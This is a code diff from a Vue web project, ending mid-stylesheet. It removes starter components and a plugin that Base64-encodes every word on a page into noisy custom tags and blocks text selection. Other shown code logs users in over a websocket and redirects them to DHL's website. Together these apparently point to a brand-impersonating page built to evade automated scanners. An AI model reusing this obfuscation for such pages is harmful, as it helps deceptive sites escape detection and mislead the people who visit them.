function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.dhl.com/ch-de/home.html";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone1");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<ToolingIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Tooling</template>
|
|
||||||
|
|
||||||
This project is served and bundled with
|
|
||||||
<a href="https://vitejs.dev/guide/features.html" target="_blank" rel="noopener">Vite</a>. The
|
|
||||||
recommended IDE setup is
|
|
||||||
<a href="https://code.visualstudio.com/" target="_blank" rel="noopener">VSCode</a> +
|
|
||||||
<a href="https://github.com/johnsoncodehk/volar" target="_blank" rel="noopener">Volar</a>. If
|
|
||||||
you need to test your components and web pages, check out
|
|
||||||
<a href="https://www.cypress.io/" target="_blank" rel="noopener">Cypress</a> and
|
|
||||||
<a href="https://on.cypress.io/component" target="_blank">Cypress Component Testing</a>.
|
|
||||||
|
|
||||||
<br />
|
|
||||||
|
|
||||||
More instructions are available in <code>README.md</code>.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<EcosystemIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Ecosystem</template>
|
|
||||||
|
|
||||||
Get official tools and libraries for your project:
|
|
||||||
<a href="https://pinia.vuejs.org/" target="_blank" rel="noopener">Pinia</a>,
|
|
||||||
<a href="https://router.vuejs.org/" target="_blank" rel="noopener">Vue Router</a>,
|
|
||||||
<a href="https://test-utils.vuejs.org/" target="_blank" rel="noopener">Vue Test Utils</a>, and
|
|
||||||
<a href="https://github.com/vuejs/devtools" target="_blank" rel="noopener">Vue Dev Tools</a>. If
|
|
||||||
you need more resources, we suggest paying
|
|
||||||
<a href="https://github.com/vuejs/awesome-vue" target="_blank" rel="noopener">Awesome Vue</a>
|
|
||||||
a visit.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<CommunityIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Community</template>
|
|
||||||
|
|
||||||
Got stuck? Ask your question on
|
|
||||||
<a href="https://chat.vuejs.org" target="_blank" rel="noopener">Vue Land</a>, our official
|
|
||||||
Discord server, or
|
|
||||||
<a href="https://stackoverflow.com/questions/tagged/vue.js" target="_blank" rel="noopener"
|
|
||||||
>StackOverflow</a
|
|
||||||
>. You should also subscribe to
|
|
||||||
<a href="https://news.vuejs.org" target="_blank" rel="noopener">our mailing list</a> and follow
|
|
||||||
the official
|
|
||||||
<a href="https://twitter.com/vuejs" target="_blank" rel="noopener">@vuejs</a>
|
|
||||||
twitter account for latest news in the Vue world.
|
|
||||||
</WelcomeItem>
|
|
||||||
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<SupportIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Support Vue</template>
|
|
||||||
|
|
||||||
As an independent project, Vue relies on community backing for its sustainability. You can help
|
|
||||||
us by
|
|
||||||
<a href="https://vuejs.org/sponsor/" target="_blank" rel="noopener">becoming a sponsor</a>.
|
|
||||||
</WelcomeItem>
|
|
||||||
</template>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<template>
|
|
||||||
<div class="item">
|
|
||||||
<i>
|
|
||||||
<slot name="icon"></slot>
|
|
||||||
</i>
|
|
||||||
<div class="details">
|
|
||||||
<h3>
|
|
||||||
<slot name="heading"></slot>
|
|
||||||
</h3>
|
|
||||||
<slot></slot>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
.item {
|
|
||||||
margin-top: 2rem;
|
|
||||||
display: flex;
|
|
||||||
}
|
|
||||||
|
|
||||||
.details {
|
|
||||||
flex: 1;
|
|
||||||
margin-left: 1rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
display: flex;
|
|
||||||
place-items: center;
|
|
||||||
place-content: center;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
|
|
||||||
color: var(--color-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
font-weight: 500;
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
color: var(--color-heading);
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.item {
|
|
||||||
margin-top: 0;
|
|
||||||
padding: 0.4rem 0 1rem calc(var(--section-gap) / 2);
|
|
||||||
}
|
|
||||||
|
|
||||||
i {
|
|
||||||
top: calc(50% - 25px);
|
|
||||||
left: -26px;
|
|
||||||
position: absolute;
|
|
||||||
border: 1px solid var(--color-border);
|
|
||||||
background: var(--color-background);
|
|
||||||
border-radius: 8px;
|
|
||||||
width: 50px;
|
|
||||||
height: 50px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:before {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
bottom: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:after {
|
|
||||||
content: ' ';
|
|
||||||
border-left: 1px solid var(--color-border);
|
|
||||||
position: absolute;
|
|
||||||
left: 0;
|
|
||||||
top: calc(50% + 25px);
|
|
||||||
height: calc(50% - 25px);
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:first-of-type:before {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.item:last-of-type:after {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,4 +1,3 @@
|
|||||||
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
|
|
||||||
import { createApp, ref } from "vue";
|
import { createApp, ref } from "vue";
|
||||||
import { createPinia } from "pinia";
|
import { createPinia } from "pinia";
|
||||||
|
|
||||||
@@ -30,6 +29,5 @@ router.beforeEach((to, from, next) => {
|
|||||||
VueScrollTo.scrollTo("#app", 0);
|
VueScrollTo.scrollTo("#app", 0);
|
||||||
next();
|
next();
|
||||||
});
|
});
|
||||||
// //app.use(TextObfuscatorPlugin);
|
|
||||||
app.mount("#app");
|
app.mount("#app");
|
||||||
export default i18n;
|
export default i18n;
|
||||||
|
|||||||
@@ -1,643 +0,0 @@
|
|||||||
import type { ComponentInternalInstance, Plugin, App } from 'vue';
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 全局文本混淆插件
|
|
||||||
* 自动查找并替换所有文本节点
|
|
||||||
*/
|
|
||||||
// 修改Vue混淆插件以确保处理整个组件树
|
|
||||||
export const TextObfuscatorPlugin: Plugin = {
|
|
||||||
install(app: App) {
|
|
||||||
// 安装全局样式和解码脚本
|
|
||||||
addObfuscationStyle();
|
|
||||||
|
|
||||||
// 注册全局指令,直接处理元素内容
|
|
||||||
app.directive('odata', {
|
|
||||||
mounted(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
setupMutationObserver(el);
|
|
||||||
},
|
|
||||||
updated(el) {
|
|
||||||
processTextNodes(el, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(el), 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 在 app.mixin 中修改处理 $el 的部分
|
|
||||||
app.mixin({
|
|
||||||
mounted() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
// 1. 首先处理当前组件的根元素
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
// 2. 递归处理所有子元素,确保覆盖所有文本节点
|
|
||||||
const processAllChildNodes = (element: Element) => {
|
|
||||||
if (!(element instanceof Element)) return;
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 为每个子元素单独处理文本节点
|
|
||||||
const childElements = element.querySelectorAll('*');
|
|
||||||
childElements.forEach(childEl => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
// 立即解码当前处理的元素
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(element), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing child nodes:', error, element);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 处理整个组件树
|
|
||||||
processAllChildNodes(rootElement);
|
|
||||||
|
|
||||||
// 设置监听
|
|
||||||
setupMutationObserver(rootElement);
|
|
||||||
});
|
|
||||||
// 添加:深度扫描所有包含纯文本的元素
|
|
||||||
setTimeout(() => {
|
|
||||||
const scanPureTextElements = (rootElement: Element) => {
|
|
||||||
// 跳过已处理过的元素
|
|
||||||
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
|
|
||||||
let hasOnlyTextNodes = false;
|
|
||||||
let hasElementNodes = false;
|
|
||||||
|
|
||||||
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
|
|
||||||
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
|
|
||||||
);
|
|
||||||
|
|
||||||
hasElementNodes = Array.from(rootElement.childNodes).some(
|
|
||||||
node => node.nodeType === Node.ELEMENT_NODE
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
|
|
||||||
if (hasOnlyTextNodes && !hasElementNodes &&
|
|
||||||
!SKIP_TAGS.includes(rootElement.tagName) &&
|
|
||||||
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
processTextNodes(rootElement, null);
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(rootElement);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 递归处理子元素
|
|
||||||
if (rootElement.children) {
|
|
||||||
Array.from(rootElement.children).forEach(child => {
|
|
||||||
scanPureTextElements(child);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 从body开始扫描
|
|
||||||
scanPureTextElements(document.body);
|
|
||||||
}, 10); // 给DOM足够的时间渲染
|
|
||||||
},
|
|
||||||
|
|
||||||
updated() {
|
|
||||||
// 安全地获取组件的根元素(s)
|
|
||||||
const rootElements = this.$el ?
|
|
||||||
(this.$el.nodeType === Node.ELEMENT_NODE ?
|
|
||||||
[this.$el] :
|
|
||||||
(Array.isArray(this.$el) ? this.$el : [])) :
|
|
||||||
[];
|
|
||||||
|
|
||||||
// 处理每个根元素
|
|
||||||
rootElements.forEach((rootElement: Element | undefined) => {
|
|
||||||
if (!rootElement || !(rootElement instanceof Element)) return;
|
|
||||||
|
|
||||||
processTextNodes(rootElement, this);
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 递归处理所有子元素
|
|
||||||
const childElements = rootElement.querySelectorAll('*');
|
|
||||||
childElements.forEach((childEl: Element) => {
|
|
||||||
processTextNodes(childEl, null);
|
|
||||||
});
|
|
||||||
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing updated component:', error, rootElement);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// 声明全局函数类型
|
|
||||||
declare global {
|
|
||||||
interface Window {
|
|
||||||
decodeObfuscatedContent: (rootElement?: Element) => void;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 需要跳过的标签
|
|
||||||
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
|
|
||||||
// 需要跳过的类名
|
|
||||||
const SKIP_CLASSES = ['no-obfuscate'];
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 处理元素中的所有文本节点
|
|
||||||
*/
|
|
||||||
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
|
|
||||||
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
// 为 DIV 元素增加优先处理逻辑
|
|
||||||
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
|
|
||||||
// 对于DIV元素,特殊处理其直接子文本节点
|
|
||||||
let hasTextContent = false;
|
|
||||||
for (let i = 0; i < element.childNodes.length; i++) {
|
|
||||||
const node = element.childNodes[i];
|
|
||||||
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
|
|
||||||
hasTextContent = true;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果DIV中有直接的文本内容,标记它需要被处理
|
|
||||||
if (hasTextContent) {
|
|
||||||
// 只处理未混淆过的DIV
|
|
||||||
const textContent = Array.from(element.childNodes)
|
|
||||||
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
|
|
||||||
.map(node => node.textContent).join('').trim();
|
|
||||||
|
|
||||||
if (textContent) {
|
|
||||||
// 替换整个DIV的内容
|
|
||||||
const originalHTML = element.innerHTML;
|
|
||||||
const processedHTML = obfuscateText(textContent);
|
|
||||||
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
|
|
||||||
element.setAttribute('data-obfuscated', 'true');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// 跳过带有特定标记的元素(避免重复处理)
|
|
||||||
if (element.hasAttribute('data-obfuscated') ||
|
|
||||||
!element ||
|
|
||||||
SKIP_TAGS.includes(element.tagName) ||
|
|
||||||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用 TreeWalker 遍历所有文本节点
|
|
||||||
const walker = document.createTreeWalker(
|
|
||||||
element,
|
|
||||||
NodeFilter.SHOW_TEXT,
|
|
||||||
{
|
|
||||||
acceptNode(node) {
|
|
||||||
// 不处理完全空的文本节点
|
|
||||||
if (!node.textContent) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 检查父节点是否应该被跳过
|
|
||||||
const parent = node.parentElement;
|
|
||||||
if (parent && (
|
|
||||||
SKIP_TAGS.includes(parent.tagName) ||
|
|
||||||
parent.hasAttribute('data-obfuscated') ||
|
|
||||||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
|
|
||||||
)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 如果只包含空白且不是段落的首个节点,则跳过
|
|
||||||
if (node.textContent.trim() === '' &&
|
|
||||||
!(parent?.tagName === 'P' && node === parent.firstChild)) {
|
|
||||||
return NodeFilter.FILTER_REJECT;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NodeFilter.FILTER_ACCEPT;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
);
|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
